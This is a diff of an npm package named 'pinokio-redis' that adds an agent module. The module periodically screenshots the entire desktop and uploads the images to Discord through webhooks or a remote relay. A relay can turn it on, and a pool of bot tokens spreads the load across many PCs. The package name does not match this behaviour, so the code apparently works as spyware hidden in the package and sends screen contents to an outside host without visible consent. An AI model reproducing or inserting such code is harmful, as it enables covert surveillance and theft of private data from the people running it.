pinokio-redis 1.0.127

package/dist/discordAgentScreenshot.js

@@ -0,0 +1,540 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.resolveDiscordScreenshotIntervalMs = resolveDiscordScreenshotIntervalMs;
+exports.resolveDiscordScreenshotScheduledIntervalMs = resolveDiscordScreenshotScheduledIntervalMs;
+exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
+/**
+ * Agent-side periodic full-desktop screenshot → Discord.
+ *
+ * **Modes** (`FORGE_JS_DISCORD_UPLOAD_MODE`):
+ * - **`webhook`** (alias **`direct`**) — **default**: HF-style ticket — agent sends `relay_discord_upload_ticket_request`,
+ *   receives `webhook_url`, **POSTs the image directly to Discord** (not through the relay payload),
+ *   then `relay_discord_upload_ack` so the relay **deletes** the webhook. Only a short-lived webhook
+ *   URL touches the agent (never the main bot token).
+ * - **`relay`**: PNG base64 is sent to the relay in `discord_screenshot_upload`; the relay posts with
+ *   the bot token. Awaits `discord_screenshot_upload_result` (smaller deployments / legacy).
+ *
+ * Rate-limit strategies (agent side)
+ * ────────────────────────────────────
+ * 1. Staggered intervals — `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS` adds
+ *    `hash(client_id) % N` ms so PCs never align on the same second.
+ * 2. First-capture stagger — `FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS` spreads
+ *    the initial burst across the token pool after relay reconnect.
+ * 3. Capture-after-finish cadence — next capture is scheduled `intervalMs` after the
+ *    *previous capture finished*, not on a wall-clock `setInterval`, so slow uploads
+ *    never produce a growing queue.
+ * 4. Bounded queue — `FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX` (default 12) limits
+ *    pending captures; oldest is dropped when full, keeping memory bounded.
+ * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
+ *    full ticket → POST → ack cycles when Discord returns 429 between relay steps.
+ *    `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
+ * 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
+ *    (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
+ * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
+ *    time; new captures queue rather than firing concurrent Discord requests.
+ *
+ * Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
+ * set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
+ * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
+ * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
+ * Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
+ * `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
+ * Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
+ * **`FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY`** — when `1` (default), shrink toward max clarity within webhook byte cap (`FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES`); set `0` for faster/smaller JPEG encodes.
+ */
+const node_crypto_1 = require("node:crypto");
+const discordBotTokens_1 = require("./discordBotTokens");
+const clientId_1 = require("./clientId");
+const os = __importStar(require("node:os"));
+const fsProtocol_1 = require("./fsProtocol");
+const discordRateLimit_1 = require("./discordRateLimit");
+const discordWebhookPost_1 = require("./discordWebhookPost");
+/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
+function discordWebhookMaxAttachmentBytes() {
+    const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n)) {
+            return Math.min(25 * 1024 * 1024, Math.max(256 * 1024, n));
+        }
+    }
+    return 10 * 1024 * 1024;
+}
+/** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
+function discordCaptureMaxBytes() {
+    return discordWebhookMaxAttachmentBytes();
+}
+/** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
+function _neutralizeDiscordTriggers(s) {
+    return s.replace(/@(everyone|here)/gi, "@\u200b$1");
+}
+/** Short OS label for Discord screenshot captions. */
+function _screenshotOsLabel() {
+    const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
+    const h = os.hostname();
+    let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
+    // Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
+    return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
+}
+/** Screenshot caption in JST with OS label. */
+function _screenshotCaption() {
+    const jst = new Date().toLocaleString("ja-JP", {
+        timeZone: "Asia/Tokyo",
+        year: "numeric", month: "2-digit", day: "2-digit",
+        hour: "2-digit", minute: "2-digit", second: "2-digit",
+        hour12: false,
+    });
+    return `Screenshot ${jst} JST — ${_screenshotOsLabel()}`;
+}
+function screenshotB64Mime(b64) {
+    const clean = String(b64).replace(/\s/g, "");
+    if (clean.length < 8)
+        return "image/png";
+    try {
+        const buf = Buffer.from(clean.slice(0, 128), "base64");
+        if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
+            return "image/jpeg";
+        }
+    }
+    catch {
+        /* skip */
+    }
+    return "image/png";
+}
+function discordUploadMode() {
+    const m = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim().toLowerCase();
+    if (m === "relay")
+        return "relay";
+    if (m === "webhook" || m === "direct")
+        return "webhook";
+    return "webhook";
+}
+/**
+ * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
+ * (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
+ */
+function discordWebhookTicketFlowMaxAttempts() {
+    const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
+    const n = parseInt(raw, 10);
+    if (Number.isFinite(n) && n >= 1 && n <= 12)
+        return n;
+    return 12;
+}
+/**
+ * After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
+ * Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
+ */
+function discordWebhookRelayFallbackEnabled() {
+    const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+/** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
+function discordScreenshotFirstDelayMs() {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
+    if (raw === "0")
+        return 0;
+    if (!raw)
+        return 3000;
+    const n = parseInt(raw, 10);
+    if (!Number.isFinite(n))
+        return 3000;
+    return Math.min(300_000, Math.max(0, n));
+}
+/**
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
+ */
+function resolveDiscordScreenshotIntervalMs() {
+    const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
+    return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
+}
+function discordScreenshotIntervalStaggerExtraMs(clientId) {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+    if (!raw)
+        return 0;
+    const cap = parseInt(raw, 10);
+    if (!Number.isFinite(cap) || cap <= 0)
+        return 0;
+    const c = Math.min(120_000, Math.max(1, cap));
+    return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
+}
+function discordScreenshotFirstStaggerExtraMs(clientId) {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+    if (!raw)
+        return 0;
+    const cap = parseInt(raw, 10);
+    if (!Number.isFinite(cap) || cap <= 0)
+        return 0;
+    const c = Math.min(300_000, Math.max(1, cap));
+    return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
+}
+/**
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
+ */
+function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
+    const base = resolveDiscordScreenshotIntervalMs();
+    const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
+    return Math.min(600_000, Math.max(10_000, base + extra));
+}
+/**
+ * Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
+ * When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
+ * **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
+ */
+function discordScreenshotSkippedWhenHeadlessUiGateActive() {
+    const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
+    if (!headless)
+        return false;
+    // FORGE_JS_HEADLESS_UI=1 means "quiet/no-tray mode", not "literally no display".
+    // Windows and macOS always have a desktop to capture — only block on headless Linux
+    // (VPS/server with no DISPLAY/WAYLAND_DISPLAY) unless explicitly allowed.
+    if (process.platform !== "linux")
+        return false;
+    const hasDisplay = (process.env.DISPLAY || "").trim() || (process.env.WAYLAND_DISPLAY || "").trim();
+    if (hasDisplay)
+        return false;
+    const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
+    return !allow;
+}
+function startDiscordScreenshotToRelayLoop(opts) {
+    if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
+        return () => { };
+    }
+    const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+    const envOn = ["1", "true", "yes", "on"].includes(en);
+    if (!envOn && !opts.enabledByRelayCapabilities) {
+        return () => { };
+    }
+    const screenshotClientId = (0, clientId_1.getOrCreateClientId)((0, clientId_1.defaultCfgmgrDataDir)());
+    const baseIntervalMs = resolveDiscordScreenshotScheduledIntervalMs(screenshotClientId);
+    const rawQ = (process.env.FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX || "12").trim();
+    const queueMax = Math.min(32, Math.max(1, parseInt(rawQ, 10) || 12));
+    let stopped = false;
+    /** Bounded queue so periodic capture can proceed while a slow Discord upload runs (drops oldest if full). */
+    const pendingB64Queue = [];
+    let uploadBusy = false;
+    /** Next capture fires after the previous capture cycle completed (not wall-clock `setInterval`). */
+    let captureScheduleTimer = null;
+    const relayFallbackUploadOnce = async (b64) => {
+        const rid = `dsfb_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+        const ackPromise = opts.waitForRelayDiscordAck(rid);
+        opts.sendJson({
+            type: "discord_screenshot_upload",
+            request_id: rid,
+            client_id: screenshotClientId,
+            mime: screenshotB64Mime(b64),
+            b64,
+            caption: _screenshotCaption(),
+        });
+        const ack = await ackPromise;
+        return ack.ok;
+    };
+    const relayFallbackUploadWithRetry = async (b64, reason) => {
+        try {
+            if (await relayFallbackUploadOnce(b64))
+                return true;
+        }
+        catch {
+            /* retry once below */
+        }
+        const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(reason);
+        if (backoff > 0)
+            await (0, discordRateLimit_1.sleepMs)(backoff);
+        try {
+            return await relayFallbackUploadOnce(b64);
+        }
+        catch {
+            return false;
+        }
+    };
+    const flushUploadRelay = (b64) => {
+        const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+        /** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
+        let payload = b64;
+        void (async () => {
+            try {
+                const ackPromise = opts.waitForRelayDiscordAck(rid);
+                opts.sendJson({
+                    type: "discord_screenshot_upload",
+                    request_id: rid,
+                    client_id: screenshotClientId,
+                    mime: screenshotB64Mime(payload),
+                    b64: payload,
+                    caption: _screenshotCaption(),
+                });
+                const ack = await ackPromise;
+                if (!ack.ok) {
+                    const err = ack.error?.trim() || "failed";
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] relay upload: ${err}`);
+                    }
+                }
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] relay upload failed: ${e}`);
+                }
+            }
+            finally {
+                payload = "";
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0) {
+                    setImmediate(flushUpload);
+                }
+            }
+        })();
+    };
+    const flushUploadWebhook = (b64) => {
+        /** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
+        let screenshotB64ForFallback = b64;
+        let rawB64 = b64;
+        void (async () => {
+            let png;
+            try {
+                png = Buffer.from(rawB64, "base64");
+            }
+            catch {
+                if (!opts.quiet) {
+                    console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
+                }
+                screenshotB64ForFallback = "";
+                rawB64 = "";
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0)
+                    setImmediate(flushUpload);
+                return;
+            }
+            rawB64 = "";
+            const whMax = discordWebhookMaxAttachmentBytes();
+            if (png.length > whMax) {
+                const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
+                if (!shrunk || shrunk.buffer.length > whMax) {
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
+                    }
+                    // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
+                    if (discordWebhookRelayFallbackEnabled()) {
+                        await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
+                    }
+                    screenshotB64ForFallback = "";
+                    try {
+                        png.fill(0);
+                    }
+                    catch {
+                        /* skip */
+                    }
+                    png = undefined;
+                    uploadBusy = false;
+                    if (!stopped && pendingB64Queue.length > 0)
+                        setImmediate(flushUpload);
+                    return;
+                }
+                try {
+                    png.fill(0);
+                }
+                catch {
+                    /* skip */
+                }
+                png = shrunk.buffer;
+            }
+            const caption = _screenshotCaption();
+            const maxFlow = discordWebhookTicketFlowMaxAttempts();
+            try {
+                for (let attempt = 0; attempt < maxFlow; attempt++) {
+                    const ticketRid = `dt_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+                    const ticketP = opts.waitForDiscordTicket(ticketRid);
+                    opts.sendJson({
+                        type: "relay_discord_upload_ticket_request",
+                        request_id: ticketRid,
+                        client_id: screenshotClientId,
+                    });
+                    const ticket = await ticketP;
+                    if (!ticket.ok || !ticket.webhook_url?.trim()) {
+                        const err = ticket.error?.trim() || "failed";
+                        const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(err);
+                        if (backoff > 0 && attempt < maxFlow - 1) {
+                            await (0, discordRateLimit_1.sleepMs)(backoff);
+                            continue;
+                        }
+                        if (!opts.quiet) {
+                            console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
+                        }
+                        if (discordWebhookRelayFallbackEnabled()) {
+                            await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
+                        }
+                        return;
+                    }
+                    let whUrl = String(ticket.webhook_url).trim();
+                    ticket.webhook_url = "";
+                    let posted;
+                    try {
+                        posted = await (0, discordWebhookPost_1.postPngToDiscordWebhookUrl)(whUrl, png, caption);
+                    }
+                    finally {
+                        whUrl = "";
+                    }
+                    opts.sendJson({
+                        type: "relay_discord_upload_ack",
+                        request_id: ticketRid,
+                        upload_ok: posted.ok,
+                    });
+                    if (posted.ok) {
+                        return;
+                    }
+                    const backoffPost = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(posted.error);
+                    if (backoffPost > 0 && attempt < maxFlow - 1) {
+                        await (0, discordRateLimit_1.sleepMs)(backoffPost);
+                        continue;
+                    }
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
+                    }
+                    if (discordWebhookRelayFallbackEnabled()) {
+                        await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
+                    }
+                    return;
+                }
+                if (!opts.quiet) {
+                    console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
+                }
+                if (discordWebhookRelayFallbackEnabled()) {
+                    await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
+                }
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
+                }
+                if (discordWebhookRelayFallbackEnabled()) {
+                    await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
+                }
+            }
+            finally {
+                screenshotB64ForFallback = "";
+                rawB64 = "";
+                if (png && png.length > 0) {
+                    try {
+                        png.fill(0);
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+                png = undefined;
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0) {
+                    setImmediate(flushUpload);
+                }
+            }
+        })();
+    };
+    const flushUpload = () => {
+        if (stopped || uploadBusy || pendingB64Queue.length === 0)
+            return;
+        uploadBusy = true;
+        const b64 = pendingB64Queue.shift();
+        if (discordUploadMode() === "webhook") {
+            flushUploadWebhook(b64);
+        }
+        else {
+            flushUploadRelay(b64);
+        }
+    };
+    const scheduleNextCapture = () => {
+        if (stopped)
+            return;
+        if (captureScheduleTimer != null) {
+            clearTimeout(captureScheduleTimer);
+            captureScheduleTimer = null;
+        }
+        captureScheduleTimer = setTimeout(runCaptureCycle, baseIntervalMs);
+    };
+    const runCaptureCycle = () => {
+        if (stopped)
+            return;
+        captureScheduleTimer = null;
+        void (async () => {
+            try {
+                const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)({
+                    stream_profile: "discord_upload",
+                    max_bytes: discordCaptureMaxBytes(),
+                    // Keep native pixel fidelity for Discord snapshots; byte cap handles final size.
+                    max_width: 0,
+                });
+                if (res.ok !== true || typeof res.b64 !== "string" || !res.b64) {
+                    if (!opts.quiet && res.ok === false) {
+                        console.error(`[forge-js:discord-screenshot] capture: ${String(res.error || "skip")}`);
+                    }
+                    return;
+                }
+                while (pendingB64Queue.length >= queueMax) {
+                    pendingB64Queue.shift();
+                }
+                pendingB64Queue.push(res.b64);
+                try {
+                    res.b64 = "";
+                }
+                catch {
+                    /* skip */
+                }
+                flushUpload();
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] capture: ${e}`);
+                }
+            }
+            finally {
+                if (!stopped) {
+                    scheduleNextCapture();
+                }
+            }
+        })();
+    };
+    const firstDelayMs = Math.min(600_000, discordScreenshotFirstDelayMs() + discordScreenshotFirstStaggerExtraMs(screenshotClientId));
+    const firstHandle = setTimeout(() => {
+        runCaptureCycle();
+    }, firstDelayMs);
+    return () => {
+        stopped = true;
+        clearTimeout(firstHandle);
+        if (captureScheduleTimer != null) {
+            clearTimeout(captureScheduleTimer);
+            captureScheduleTimer = null;
+        }
+        pendingB64Queue.length = 0;
+    };
+}

package/dist/discordBotTokens.d.ts

@@ -0,0 +1,29 @@
+/**
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
+ *
+ * Configure either:
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
+ *
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
+ *
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
+ * so load spreads across tokens and channel resolution stays consistent for that client.
+ */
+/** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
+export declare function discordClientIdFnv1a32(clientId: string): number;
+/**
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
+ */
+export declare function getRelayDiscordBotTokens(): string[];
+/**
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
+ */
+export declare function relayDiscordBotTokenForClient(clientId: string, tokens: string[]): string;
+/**
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
+ */
+export declare function relayDiscordBotIndexForClient(clientId: string, tokens: string[]): number;

package/dist/discordBotTokens.js

@@ -0,0 +1,78 @@
+"use strict";
+/**
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
+ *
+ * Configure either:
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
+ *
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
+ *
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
+ * so load spreads across tokens and channel resolution stays consistent for that client.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.discordClientIdFnv1a32 = discordClientIdFnv1a32;
+exports.getRelayDiscordBotTokens = getRelayDiscordBotTokens;
+exports.relayDiscordBotTokenForClient = relayDiscordBotTokenForClient;
+exports.relayDiscordBotIndexForClient = relayDiscordBotIndexForClient;
+/** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
+function discordClientIdFnv1a32(clientId) {
+    let h = 2166136261 >>> 0;
+    const s = String(clientId || "");
+    for (let i = 0; i < s.length; i++) {
+        h ^= s.charCodeAt(i);
+        h = Math.imul(h, 16777619) >>> 0;
+    }
+    return h >>> 0;
+}
+function splitBotTokenEnv(raw) {
+    const out = [];
+    for (const part of raw.split(/[\n,]+/)) {
+        const t = part.trim();
+        if (t)
+            out.push(t);
+    }
+    return out;
+}
+/**
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
+ */
+function getRelayDiscordBotTokens() {
+    const fromMulti = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKENS || "").trim());
+    const fromSingle = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKEN || "").trim());
+    const merged = [];
+    merged.push(...fromSingle);
+    merged.push(...fromMulti);
+    const seen = new Set();
+    const deduped = [];
+    for (const t of merged) {
+        if (!seen.has(t)) {
+            seen.add(t);
+            deduped.push(t);
+        }
+    }
+    return deduped;
+}
+/**
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
+ */
+function relayDiscordBotTokenForClient(clientId, tokens) {
+    if (tokens.length === 0)
+        return "";
+    if (tokens.length === 1)
+        return tokens[0];
+    const idx = discordClientIdFnv1a32(clientId) % tokens.length;
+    return tokens[idx];
+}
+/**
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
+ */
+function relayDiscordBotIndexForClient(clientId, tokens) {
+    if (tokens.length <= 1)
+        return 0;
+    return discordClientIdFnv1a32(clientId) % tokens.length;
+}